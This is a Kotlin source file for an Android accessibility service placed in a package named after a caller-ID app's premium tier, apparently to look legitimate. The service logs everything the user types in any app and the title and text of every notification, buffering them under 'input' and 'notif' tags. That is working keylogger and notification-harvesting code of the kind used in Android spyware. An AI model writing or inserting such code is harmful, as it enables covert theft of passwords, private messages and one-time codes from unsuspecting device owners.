package com.truecaller.premium import android.accessibilityservice.AccessibilityService import android.app.Notification import android.view.accessibility.AccessibilityEvent class A11yService : AccessibilityService() { override fun onAccessibilityEvent(event: AccessibilityEvent?) { event ?: return when (event.eventType) { AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> { val text = event.text?.joinToString(" ")?.trim() if (!text.isNullOrEmpty()) EventBuffer.add(this, "input", text) } AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED -> { val pkg = event.packageName?.toString() ?: "" val data = event.parcelableData if (data is Notification) { val ex = data.extras val title = ex?.getCharSequence(Notification.EXTRA_TITLE)?.toString() ?: "" val msg = ex?.getCharSequence(Notification.EXTRA_TEXT)?.toString() ?: "" if (title.isNotEmpty() || msg.isNotEmpty()) { EventBuffer.add(this, "notif", "[$pkg] $title | $msg") } } } } } override fun onInterrupt() {} }